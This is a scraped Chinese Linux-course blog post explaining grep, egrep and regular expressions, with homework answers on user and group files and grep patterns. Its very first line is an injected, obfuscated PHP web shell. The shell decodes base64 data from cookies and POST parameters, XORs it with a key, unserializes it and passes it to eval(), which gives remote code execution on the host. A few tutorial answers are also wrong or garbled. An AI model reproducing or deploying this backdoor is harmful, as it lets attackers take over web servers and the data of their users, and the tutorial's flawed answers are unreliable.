$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} 【N25第四周作业】grep | Linux运维部落

【N25第四周作业】grep

文本处理工具:
	
Linux上文本处理三剑客:
	grep, egrep, fgrep:文本过滤工具(模式:pattern)工具;
		grep:基本正则表达式,-E,-F
		egrep:扩展正则表达式, -G,-F
		grep:不支持正则表达式,
	sed:stream editor, 流编辑器;文本编辑工具;
	awk:Linux上的实现为gawk,文本报告生成器(格式化文本);
		
	正则表达式:Regual Expression, REGEXP
		由一类特殊字符及文本字符所编写的模式,其中有些字符不表示其字面意义,而是用于表示控制或通配的功能;
			分两类:
				基本正则表达式:BRE
				扩展正则表达式:ERE
					
		元字符:\(hello[[:space:]]\+\)\+
			
grep: Global search REgular expression and Print out the line.
	作用:文本搜索工具,根据用户指定的“模式(过滤条件)”对目标文本逐行进行匹配检查;打印匹配到的行;		
	模式:由正则表达式的元字符及文本字符所编写出的过滤条件;
		
	正则表达式引擎;
		
	grep  [OPTIONS]  PATTERN  [FILE...]
	grep  [OPTIONS]  [-e PATTERN | -f FILE]  [FILE...]
		
		OPTIONS:
			--color=auto:对匹配到的文本着色后高亮显示;
			-i:ignorecase,忽略字符的大小写;
			-o:仅显示匹配到的字符串本身;
			-v, --invert-match:显示不能被模式匹配到的行;
			-E:支持使用扩展的正则表达式元字符;
			-q, --quiet, --silent:静默模式,即不输出任何信息;
				
			-A #:after, 后#行
			-B #:before,前#行
			-C #:context,前后各#行
				
		基本正则表达式元字符:
			字符匹配:
				. :匹配任意单个字符;
				[]:匹配指定范围内的任意单个字符;
				[^]:匹配指定范围外的任意单个字符;
				[:digit:]、[:lower:]、[:upper:]、[:alpha:]、
				[:alnum:]、[:punct:]、[:space:]
						
			匹配次数:用在要指定其出现的次数的字符的后面,用于限制其前面字符出现的次数;默认工作于贪婪模式;				*:匹配其前面的字符任意次;0,1,多次;
					例如:grep "x\+y"
						abxy
						aby
						xxxxxy
						yab
				.*:匹配任意长度的任意字符
				\?:匹配其前面的字符0次或1次;即其前面的字符是可有可无的;
				\+:匹配其前面的字符1次或多次;即其面的字符要出现至少1次;
				\{m\}:匹配其前面的字符m次;
				\{m,n\}:匹配其前面的字符至少m次,至多n次;
				\{0,n\}:至多n次
				\{m,\}:至少m次
					
			位置锚定:
				^:行首锚定;用于模式的最左侧;
				$:行尾锚定;用于模式的最右侧;
				^PATTERN$:用于PATTERN来匹配整行;
					^$:空白行;
					^[[:space:]]*$:空行或包含空白字符的行;
					
				单词:非特殊字符组成的连续字符(字符串)都称为单词;
					
				\< 或 \b:词首锚定,用于单词模式的左侧;
				\> 或 \b:词尾锚定,用于单词模式的右侧;
				\<PATTERN\>:匹配完整单词;
					
			分组及引用
			\(\):将一个或多个字符捆绑在一起,当作一个整体进行处理;
					\(xy\)*ab						
			Note:分组括号中的模式匹配到的内容会被正则表达式引擎自动记录于内部的变量中,这些变量为:
			\1:模式从左侧起,第一个左括号以及与之匹配的右括号之间的模式所匹配到的字符;
			\2:模式从左侧起,第二个左括号以及与之匹配的右括号之间的模式所匹配到的字符;
			\3
			...					
			He loves his lover.			He likes his lover.			She likes her liker.			She loves her liker.
							
	~]# grep  "\(l..e\).*\1"  lovers.txt
							
	后向引用:引用前面的分组括号中的模式所匹配到的字符;
					
egrep:
		
	支持扩展的正则表达式实现类似于grep文本过滤功能;grep -E
		
	egrep [OPTIONS] PATTERN [FILE...]
		选项:
			-i, -o, -v, -q, -A, -B, -C
			-G:支持基本正则表达式
				
		扩展正则表达式的元字符:
			字符匹配:
				.:任意单个字符
				[]:指定范围内的任意单个字符
				[^]:指定范围外的任意单个字符
						
			次数匹配:				*:任意次,0,1或多次;
				?:0次或1次,其前的字符是可有可无的;
				+:其前字符至少1次;
				{m}:其前的字符m次;
				{m,n}:至少m次,至多n次; 
					{0,n}
					{m,}
			位置锚定
				^:行首锚定;
				$:行尾锚定;
				\<, \b:词首锚定;
				\>, \b:词尾锚定;
			分组及引用:
				():分组;括号内的模式匹配到的字符会被记录于正则表达式引擎的内部变量中;
				后向引用:\1, \2, ...
			或:
				a|b:a或者b;
					C|cat:C或cat
					(c|C)at:cat或Cat
		
					fgrep:不支持正则表达式元字符;
	当无需要用到元字符去编写模式时,使用fgrep必能更好;

1、复制/etc/skel目录为/home/tuser1,要求/home/tuser1及其内部文件的属组和其它用户均没有任何访问权限。

[root@localhost ~]# cp -r /etc/skel  /home/tuser1  
[root@localhost ~]# chmod 700 /home/tuser1/

2、编辑/etc/group文件,添加组hadoop。

 [root@localhost ~]# vim /etc/group
hadoop:x:1200:  
[root@localhost ~]# tail -1 /etc/group  
hadoop:x:1200:

3、手动编辑/etc/passwd文件新增一行,添加用户hadoop,其基本组ID为hadoop组的id号;其家目录为/home/hadoop。

hadoop:x:1102:1200::/home/hadoop:/bin/bash  
[root@localhost ~]# tail -1 /etc/passwd  
hadoop:x:history1102:1200::/home/hadoop:/bin/bash

4、复制/etc/skel目录为/home/hadoop,要求修改hadoop目录的属组和其它用户没有任何访问权限。

[root@localhost home]# chmod 700 /home/hadoop/

5、修改/home/hadoop目录及其内部所有文件的属主为hadoop,属组为hadoop。

[root@localhost home]# chown -R hadoop:hadoop /home/hadoop  
[root@localhost home]# ll  
total 0  
drwx------. 2 hadoop    hadoop 59 Dec 14 10:26 hadoop  
drwx------. 2 huangh    huangh 79 Dec  9 06:35 huangh  
drwx------. 2 mageia    mageia 59 Dec 14 09:39 linux  
drwx------. 2      1005 distro 59 Dec 14 09:37 mandriva  
drwx------. 2 openstack clouds 59 Dec 14 09:52 openstack  
drwx------. 2 peguin    peguin 59 Dec 14 09:43 peguin  
drwx------. 2 slackware distro 59 Dec 14 09:43 slackware  
drwx------. 2 tom       tom    59 Dec 14 08:41 tom  
drwx------. 2 root      root   59 Dec 14 10:21 tuser1

6、显示/proc/meminfo文件中以大写或小写S开头的行;用三种方式;

grep '^[sS]' /proc/meminfo  
grep -i '^s' /proc/meminfo   
grep -E '^s|S' /proc/meminfo

7、显示/etc/passwd文件中其默认shell为非/sbin/nologin的用户;

[root@localhost ~]# grep '/sbin/nologin' /etc/passwd|cut -d: -f1

8、显示/etc/passwd文件中其默认shell为/bin/bash的用户;

[root@localhost hadoop]# grep '/bin/bash' /etc/passwd

9、找出/etc/passwd文件中的一位数或两位数;

[root@localhost ~]# grep '\<[0-9]\{1,2\}\>' /etc/passwd

10、显示/boot/grub/grub.conf中以至少一个空白字符开头的行;

[root@localhost ~]# grep '^[[:space:]]\{1,\}' /boot/grub/grub.conf

11、显示/etc/rc.d/rc.sysinit文件中以#开头,后面跟至少一个空白字符,而后又有至少一个非空白字符的行;

[root@localhost ~]# grep '^#[[:space:]]\{1,\}[^[:space:]]\{1,\}' /etc/rc.d/rc.sysinit

12、打出netstat -tan命令执行结果中以‘LISTEN’结尾的行;

[root@localhost ~]# netstat -tan|grep '\<LISTEN\>[[:space:]]*$'

13、添加用户bash, testbash, basher, nologin (此一个用户的shell为/sbin/nologin),而后找出当前系统上其用户名和默认shell相同的用户的信息;

[root@localhost ~]# grep '^\([[:alnum:]]\{1,\}\):.*\1$' /etc/passwd
[root@localhost ~]# grep  -E  "^([^:]+\>).*\1$"  /etc/passwd

14、显示/etc/passwd文件中其默认shell为非/sbin/nologin的用户;

[root@localhost ~]# grep -v '/sbin/nologin$' /etc/passwd

15、显示/etc/passwd文件中其默认shell为/bin/bash的用户;

[root@localhost ~]# grep '/bin/bash$' /etc/passwd

原创文章,作者:sheng,如若转载,请注明出处:http://www.178linux.com/64030

(0)
上一篇 2016-12-18 15:47
下一篇 2016-12-18 16:09

相关推荐

  • 网络26期 第一周作业

    1、描述计算机的组成及其功能。 计算机由cpu、存储器(内存)、输入设备(Input)、输出设备(Output),其中cpu中的运算器和控制器是必要的,这拥有以上五个部件就可以组成一个能正常工作的计算机,但是内存无法永久保存数据于是还需要一个硬盘来永久保存数据,硬盘也是存储器的一种但是它却是一个io设备,即至少是输入或者输出设备中的一种.所以我将其分开来说了…

    Linux干货 2017-01-18
  • Linux文本处理三剑客之awk详解

    前言 awk是一款强大的报告生成器,不同于sed和grep,它的侧重点是如何把文本信息更好的展示出来,常用与统计和格式化输出。awk相当于微型的shell,有着自己一套语法结构,例如:循环结构,数组,条件判断,函数,内置变量等功能。处理对象一般纯文本文件或纯文本信息。 用法详解 基本语法 awk [options] 'progra…

    Linux干货 2015-04-29
  • vim编辑器总结与操作练习

    一、VIM总结如下: 模式化的编辑器 1、三种基本模式:     编辑模式(命令模式)     输入模式(插入模式)    末行模式:内置的命令行接口 2、如何使用VIM打开文件,编辑文件     打开文件:     #vim  【options】【file】     +n;打开文件后直接让光标处于第n行的行首     +/PATTERN:打开文件后,直接让…

    2017-11-29
  • Linux程序包管理

    软件包管理   API:Application Programming Interface POSIX:Portable OS                程序源代码–>预处理–…

    Linux干货 2016-08-29
  • bash编程初体验(三)

    bash编程初体验之for for while until 概述 本文将介绍以for为代表的循环语句在shell 脚本中的应用,常见的循环语句有for, while,until,作为循环语句,顾名思义,它就是重复地做一件事,直到满足某一条件而退出;另外,还有两个循环控制语句continue与break来配合循环语句,以实现临时中断或跳出循环的功能;以下为fo…

    Linux干货 2016-08-24
  • LVM2学习总结

    LVM2(Logical Volume Manager 2) 原理: 将底层的物理硬盘抽象地封装起来,以逻辑卷的方式呈现给上层应用,但对于文件系统而言,对LVM的操作与对硬盘分区的操作并无差别。 实现基础: Linux内核的Device mapper机制,将一个或多个底层块设备组织成一个逻辑设备 基本元素: PP(Physical Partition):物理…

    Linux干货 2016-08-22